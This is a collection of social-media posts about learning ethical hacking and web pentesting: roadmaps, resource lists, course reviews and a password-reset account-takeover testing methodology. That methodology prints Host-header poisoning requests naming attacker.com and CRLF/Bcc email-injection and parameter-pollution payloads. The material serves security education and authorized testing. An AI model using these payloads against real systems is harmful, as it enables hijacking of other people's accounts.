Ethical Hacking Techniques

Getting into Security Engineering can be 100% free and 100% project-based! [1] Pick a vulnerable web application to practice on. Use DVWA (Damn Vulnerable Web App) or WebGoat - they're free and legal to hack. [2] Learn basic web vulnerabilities. Start with OWASP Top 10. Actually exploit them, don't just read about them. [3] Set up Burp Suite Community Edition. Learn to intercept and manipulate HTTP requests. [4] Write simple Python scripts to automate security checks. Start with port scanners and basic vulnerability scanners. [5] Build a honeypot using free tools. Watch real attackers try to break in and learn their techniques. [6] Set up logging and monitoring. Use ELK stack or Splunk Free to analyse security logs. [7] Learn cryptography basics by building your own encryption/decryption tools in Python. [8] Practice with CTF (Capture The Flag) challenges on platforms like HackTheBox, TryHackMe, or PentesterLab. [9] Create security scanning pipelines using free GitHub Actions and tools like Snyk or OWASP Dependency Check. [10] Build a vulnerable API, then secure it. Document every vulnerability you fix and how you fixed it. [11] Set up WAF rules using ModSecurity. Break your own applications, then defend them. [12] Learn incident response by setting up intentionally compromised systems and practising forensics. Document everything on GitHub. Write-ups showing how you found and fixed vulnerabilities are worth more than any cert. 15 projects to get you started: 1. Vulnerable Blog Platform - Build it insecure, then harden it 2. Password Strength Checker - With breach database integration 3. Automated Vulnerability Scanner - For common web flaws 4. Network Traffic Analyser - Spot suspicious patterns 5. Secure File Upload System - Block malicious files 6. JWT Token Validator - Find and fix auth issues 7. SQL Injection Testing Lab - Attack and defend 8. Phishing Email Detector - Use ML or pattern matching 9. Simple SIEM Dashboard - Aggregate and alert on security events 10. API Rate Limiter - Prevent abuse and DDoS 11. Container Security Scanner - Check Docker images for vulnerabilities 12. Secret Scanner - Find exposed credentials in code 13. XSS Prevention Framework - Build input sanitisation 14. Intrusion Detection System - Monitor and alert on attacks 15. Security Header Checker - Scan websites for missing protections Pick one. Build it. Break it. Fix it. Repeat. Good luck! If you want to become a better engineer: → Connect with leaders in the industry for engineering tips: Neo Kim, Abdirahman Jama, Esco Obong, Demitri Swan, Nikki Siapno, Petar Ivanov, Yusuf. M, Alexandre Zajac, Raul Junco and Anton Martyniuk. -- 📢 Follow saed ‎for more ♻️ Share this to motivate another engineer

Finally, I’ve been placed on a project or assigned to test some apps… but what should I start with? 🤔 When I was starting my cybersecurity journey, there were times I’d get placed on a project and things weren’t crystal clear, where to begin and I found myself asking: “Okay… what exactly should I focus on first? What’s the right approach here?” Over time, I discovered a few resources that have consistently helped me reset, refocus, and move forward: 🟡 HackTricks → https://lnkd.in/dMBn7p2J HackTricks is like a treasure map, it lays out different methodologies and resources across multiple project types, from tooling to requirements, showing you how to approach the assessment. Some of the paths include: - Web Pentesting - Cloud Security (AWS, GCP, Azure) - Mobile Pentesting (Android & iOS) - Network Services Pentesting - AI Security - Binary Exploitation - Pentesting WiFi, Phishing Methodology, Threat Modeling and other super interesting topics 🟡 MITRE ATT&CK → https://attack.mitre.org A framework mapping real-world adversary TTPs you can directly apply to your assessments. 🟡 OWASP® Foundation Resources 🟡 OWASP Testing Guide (WSTG) https://lnkd.in/dd9aXyq3 – It's an Industry-standard guide for web app testing - It provides a structured methodology for testing common vulnerabilities, It’s a solid starting point when performing a web app security test. 🟡 OWASP MAS - https://mas.owasp.org/ – It's a comprehensive guide for mobile app security testing (Android & iOS). - It helps you think through threat modeling, testing mobile-specific vulnerabilities, and securing both client and backend APIs. 🟡 OWASP Cheat Sheet Series - https://lnkd.in/dfTUqnVR – It includes detailed practical security cheatsheet and best practices - Think of it as your quick-reference library covering various topics you can apply instantly in projects. The truth is, no one knows it all. What matters is knowing where to look, how to structure your approach, and how to keep learning. These resources have saved me countless times. What’s your go-to reference when you feel stuck on an engagement? Let's Repost for others to learn And as always, learning never ends.

I’ve been digging into a new attack technique that weaponizes web interdependencies to break authentication, entitlement, and payment controls at scale. Modern web apps rely on chained API calls. By tracing and manipulating these dependencies in a recursive manner an attacker can systematically bypass security controls. This technique I'm introducing, Recursive Request Exploits (RRE), is something I’ll be sharing more about soon, including a packaged Burp Suite extension to automate discovery and exploitation. More to come! #redteam #appsec #blackhat #defcon

🔐 Web Penetration Testing: Security Starts with the Right Testing Methodology In today's threat landscape, secure software development doesn't end with code reviews or automated scanners. Regular web penetration testing remains one of the most effective ways to identify vulnerabilities before attackers do. This practical guide, built around the OWASP Top 10, provides a structured approach with 50 essential penetration testing scenarios covering the most common and critical web application security risks. Some of the key areas include: ✅ SQL Injection & NoSQL Injection ✅ Cross-Site Scripting (XSS) ✅ Broken Authentication & JWT Security ✅ IDOR & Broken Access Control ✅ XXE & SSRF ✅ Security Misconfigurations ✅ Insecure Deserialization ✅ Business Logic Flaws ✅ Logging & Monitoring Weaknesses ✅ Sensitive Data Exposure 💡 What makes this guide valuable is its practical approach. Each test case explains: 🔹 What the vulnerability is 🔹 Why it matters 🔹 How to identify it during an authorized security assessment 🔹 Recommended tools and testing methodology Security is not just about finding vulnerabilities it's about building a repeatable process that improves resilience throughout the software development lifecycle. Whether you're a Security Engineer, Penetration Tester, Application Security Professional, Developer, or DevSecOps Engineer, structured testing checklists like this can significantly improve assessment quality and consistency. 🚀 Security isn't a one-time activity. It's a continuous process of testing, validating, and improving. 💬 Discussion If you had to choose one vulnerability category that organizations still underestimate the most, which would it be? 1️⃣ Broken Access Control (IDOR) 2️⃣ SQL Injection 3️⃣ SSRF 4️⃣ JWT & Authentication Issues 5️⃣ Business Logic Vulnerabilities 👇 Share your answer in the comments and explain why. Let's exchange insights and learn from each other's experience. #CyberSecurity #WebSecurity #PenetrationTesting #EthicalHacking #ApplicationSecurity #OWASP #OWASPTop10 #DevSecOps #BugBounty #SecurityTesting #InfoSec #SecureCoding #CyberDefense #BlueTeam #RedTeam #SecurityEngineering 🔒🚀

I’ve been getting tons of DMs lately from beginners asking… "How do I start Web Application Pentesting? Is there a clear roadmap?” Let’s break it down. No fluff. No cert talk. Just the real path 👇 🔹 Step 1: Understand How the Web Works (Foundation First) Before breaking anything, know how it’s built. ✅ What to Learn: What is HTTP/HTTPS How browsers send requests Basics of HTML, JS, and cookies What servers do (client vs server) 📚 Free Resources: MDN Web Docs – How the Web Works HTTP Crash Course (YouTube) Web Security Fundamentals – Codecademy 🧠 Tip: Use browser DevTools (F12) → Network tab to observe real web traffic. 🔹 Step 2: Learn the OWASP Top 10 (Core Vulnerabilities) These are the 10 most common and important web vulnerabilities. ✅ Start With 3 First: XSS (Cross-Site Scripting) SQL Injection Broken Authentication 📚 Free Labs: PortSwigger Web Security Academy (Start here) OWASP Juice Shop – For beginners TryHackMe OWASP Top 10 Room 🧠 Tip: Focus on understanding the logic behind each attack, not just the payload. 🔹 Step 3: Set Up a Simple Hacking Lab (No Cost) ✅ What You Need: Burp Suite Community Edition TryHackMe (Start with free rooms) OWASP Juice Shop Live DVWA (Damn Vulnerable Web App) (Use locally) 📚 Step-by-Step Setup Guide: TryHackMe Intro to Pentesting Path How to Set Up DVWA (Video) 🧠 Tip: You don’t need a virtual machine yet. Just start with hosted labs. 🔹 Step 4: Learn the Pentesting Tools ✅ Tools to Start With: Burp Suite (Request interception, scanning) OWASP ZAP (Open-source Burp alternative) Postman (Manual HTTP request crafting) WhatWeb / Dirb (Recon tools) 📚 How to Learn Them: Burp Suite Academy ZAP Tutorials by OWASP Postman API Beginner Guide 🧠 Tip: Start with intercepting and replaying a login request in Burp. 🔹 Step 5: Practice with Mini Projects ✅ Do These Projects: 🔐 Try to bypass login with SQLi in DVWA 🧪 Inject simple XSS in a comment form 📄 Document 1 bug per week with screenshots 🎯 Complete the first 5 labs in Web Security Academy 📚 Resources: HackTricks GitHub – For deeper examples PayloadsAllTheThings GitHub – For testing inputs 🧠 Tip: Use Notion or GitHub to document every vuln and what you tried. 🔹 Step 6: Build a Public Portfolio (Even Without a Job) ✅ What to Share: Your notes from each lab (1 post per vuln) A personal GitHub repo with: → Lab writeups → Tools you used → Scripts you tried (even if simple) 📚 Examples: Ben Sadeghipour's GitHub LiveOverFlow YouTube 🧠 Tip: Recruiters LOVE seeing curiosity and consistency more than certificates. 🔹 Step 7: (Optional) Get Into Bug Bounties ✅ Start With Beginner-Friendly Platforms: Hacker101 CTF HackTheBox Starting Point Bugcrowd University 🧠 Tip: Don’t chase bounties — chase learning. Start with disclosure-only programs.

MY CURRENT METHODOLOGY FOR DISCOVERING ACCOUNT TAKEOVER VIA PASSWORD RESET FLOWS Over the past few months, I have been focusing on breaking authentication design logic, especially weaknesses in password reset functionality that can lead to full Account Takeover. Below is a practical and structured methodology I follow during testing. I had reported the two vulnerabilities to a private Bug Bounty Program program via Hackerone, the bugs got validated by H1 analyst and company internals team member and sent to engineering team for additional validation and triage, then fix. ## CRITICAL TEST AREA — HOST HEADER POISONING Applications sometimes construct reset URLs using untrusted request headers. Test Payload: POST /api/auth/reset HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com X-Forwarded-Proto: https Forwarded: host=attacker.com Origin: https://attacker.com Referer: https://attacker.com Content-Type: application/json { "email": "[victim@gmail.com](mailto:victim@gmail.com)" } Additional Header Injection Surface: Host: attacker.com X-Original-Host: attacker.com X-Host: attacker.com X-Forwarded-Server: attacker.com X-Rewrite-URL: / X-Original-URL: / Result Example: https://lnkd.in/dkVe9i_x Victim receives reset link pointing to attacker domain. ## PRIMARY TEST AREA — EMAIL PARAMETER MANIPULATION Test whether the reset endpoint accepts multiple email inputs or special separators. Request Example: POST /api/v1/auth/password-reset HTTP/1.1 Host: target.com Content-Type: application/json { "email": [ "[victim@gmail.com](mailto:victim@gmail.com)", "[tester@gmail.com](mailto:tester@gmail.com)" ] } Form Variations: email=[victim@gmail.com](mailto:victim@gmail.com),[tester@gmail.com](mailto:tester@gmail.com) email=[victim@gmail.com](mailto:victim@gmail.com)|[tester@gmail.com](mailto:tester@gmail.com) email=[victim@gmail.com](mailto:victim@gmail.com)%[0atester@gmail.com](mailto:0atester@gmail.com) email=[victim@gmail.com](mailto:victim@gmail.com)%0d%[0atester@gmail.com](mailto:0atester@gmail.com) email=[victim@gmail.com](mailto:victim@gmail.com)%0aBcc:tester@gmail.com email=[victim@gmail.com](mailto:victim@gmail.com)%0d%0aCc:tester@gmail.com Goal: force reset token delivery to attacker-controlled inbox. ## SECONDARY TEST AREA — PARAMETER POLLUTION Send duplicated parameters and observe backend precedence handling. POST /forgot-password HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded email=[victim@gmail.com](mailto:victim@gmail.com)&email=[tester@gmail.com](mailto:tester@gmail.com) Test reversed order: email=[tester@gmail.com](mailto:tester@gmail.com)&email=[victim@gmail.com](mailto:victim@gmail.com) Mixed array injection: email=[victim@gmail.com](mailto:victim@gmail.com)&email=[tester@gmail.com](mailto:tester@gmail.com)&email[]=[tester@gmail.com](mailto:tester@gmail.com) See the Comments for the other parts of the Methodology :-

XSS Attack Simulation Using DVWA and Metasploit https://lnkd.in/dmYp7V46 In this simulation, I demonstrated how Cross-Site Scripting (XSS) attacks work using Kali Linux, Metasploit, and the Damn Vulnerable Web Application (DVWA). Here’s a breakdown of what I did: 1. Set up the target environment: DVWA was configured to demonstrate how vulnerable web apps can be. 2. Launched the attack: Using Metasploit, I injected a malicious script into a vulnerable input field on the DVWA platform. 3. Observed the impact: The script executed successfully, proving how attackers can use XSS to steal sensitive information or manipulate web content. Attackers use XSS to hijack user sessions, steal cookies, or manipulate data, all without the user knowing. It’s one of the most common vulnerabilities in web applications. Hence, it's important to 1. Validate and sanitize all user inputs. 2. Implement strong Content Security Policies (CSP). 3. Regularly test your web applications for vulnerabilities using tools like DVWA. 4. Educate developers and organizations on secure coding practices. This is a reminder of why secure coding and constant vulnerability testing are critical for protecting web applications. Let’s stay proactive in securing the digital world! #CyberSecurity #XSSAttack #Metasploit #DVWA #KaliLinux #WebApplicationSecurity #StaySafe

🔐 Mastering Advanced Web Attacks & Exploitation (AWAE) 🔐 Have you ever wondered how deeply chained web vulnerabilities can impact security? Modern web applications offer rich functionality—but also expose complex attack surfaces. 🔍 AWAE Highlights: Discover vulnerabilities beyond basic SQL Injection and file inclusion. Gain insights into chained vulnerabilities leading to Remote Code Execution (RCE). Learn techniques to recover and analyze .NET and Java source code from compiled applications using powerful tools like BurpSuite, dnSpy, and JD-GUI. ⚡ Real-World Techniques & Tools: BurpSuite Proxy: Powerful web traffic inspection, request manipulation, and fuzzing capabilities. dnSpy: Effortlessly decompile, analyze, debug, and modify .NET assemblies—crucial for deep vulnerability analysis. JD-GUI: Decompile Java bytecode to source, unveiling critical security flaws. 🎯 From XSS to RCE: Practical demonstration of exploiting Cross-Site Scripting (XSS) to hijack admin sessions. Escalate privileges and compromise security posture to achieve RCE, demonstrating a full penetration lifecycle. 🚩 Why AWAE Matters: Understanding advanced exploitation is crucial for effective penetration testing and securing modern web applications. AWAE teaches a systematic, repeatable approach to identifying and exploiting complex vulnerabilities. 👉 Skills you'll sharpen: Deep web vulnerability analysis Source code recovery and modification Multi-stage exploit development Real-time debugging and code inspection Ready to elevate your cybersecurity skills? Dive deep, think strategically, and secure smarter. 🔥 #CyberSecurity #PenetrationTesting #WebSecurity #EthicalHacking #Exploitation #OffensiveSecurity #AWAE #Infosec #BurpSuite #dnSpy #JDGUI #XSS #RCE #SecureCoding #ContinuousLearning

Do you want to be a great pentester? If you find a vulnerability with identified risk, don’t stop focusing on that vulnerability until you identify every feature that is also vulnerable from the same input. In web applications, modern frameworks have done a good job at building generalized functions that can be used across multiple requests. This optimizes the code base to require less lines of code, and optimizes the code base for better performance. Although optimized, if not done correctly, it can have the opposite affect, which opens up the attack surface for each request using that function. Some requests will have higher risk, even though the vulnerability is the same, because in applications, the functionality that’s vulnerable is just as important as the vulnerability itself. On a recent engagement a member of the team found a redirect vulnerability that allowed a threat to change the URL during the create user process, which reflected in the email that was generated to finish the account set up process. The finding was very similar to host header injection, but the URL was sent as a parameter, which could be manipulated. Access to the create user functionality required admin level access, and the data you could exfil was minimal, just an email and access level. Further digging then revealed the same vulnerable parameter in the forgot password process. This would allow an unauthenticated threat to steal the password reset token and email used for the reset, which could then be used for account takeover. The first vulnerabilty scenario, by itself, low - medium at best. The second vulnerability scenario, by itself - high Same vulnerability in the code, much different risk.

🔐 Want to learn about Web App Security? Over the past few weeks, I’ve been diving deep into TCM Security's Practical Bug Bounty Program, and I thought why not give a little review of things I picked up along the way. Here are some key takeaways from Authentication and Authorization Attacks: 🛑 Broken Authentication is everywhere Even mature apps can have flawed login workflows, improper session handling, or weak password reset logic. Watching how a single misstep can lead to account takeover was eye-opening. 🛑 Authorization ≠ Authentication Just because you're logged in doesn’t mean you should have access. I saw firsthand how IDOR (Insecure Direct Object Reference) and privilege escalation vulnerabilities can go unnoticed until someone abuses them. 🛑 Session hijacking isn’t dead Poorly implemented JWTs, missing HttpOnly or Secure flags, and lack of session expiration still lead to session fixation and takeover. 🛑 Bypassing 2FA is more common than you think Some applications treat 2FA as a one-time setup, never checking it again after login. Misconfigured flows allow attackers to completely skip 2FA prompts. 🛑 Burp Suite is your best friend From intercepting requests to manipulating cookies and headers, the right tools make these attack vectors much easier to understand and exploit responsibly. 💡 Biggest Lesson: Most of these issues aren’t about complex exploits, they’re about developers making assumptions. As security professionals, it’s our job to challenge those assumptions and ensure every path is protected. If you’re learning security or want to sharpen your web app testing skills, I HIGHLY recommend checking out the Bug Bounty Program from TCM Security. It’s hands-on, practical, and filled with real-world examples. Let’s keep building safer systems, one vulnerability at a time. 🛡️ Stay tuned for more reviews of this course! #BugBounty #TCMSecurity #Authentication #Authorization #WebAppSecurity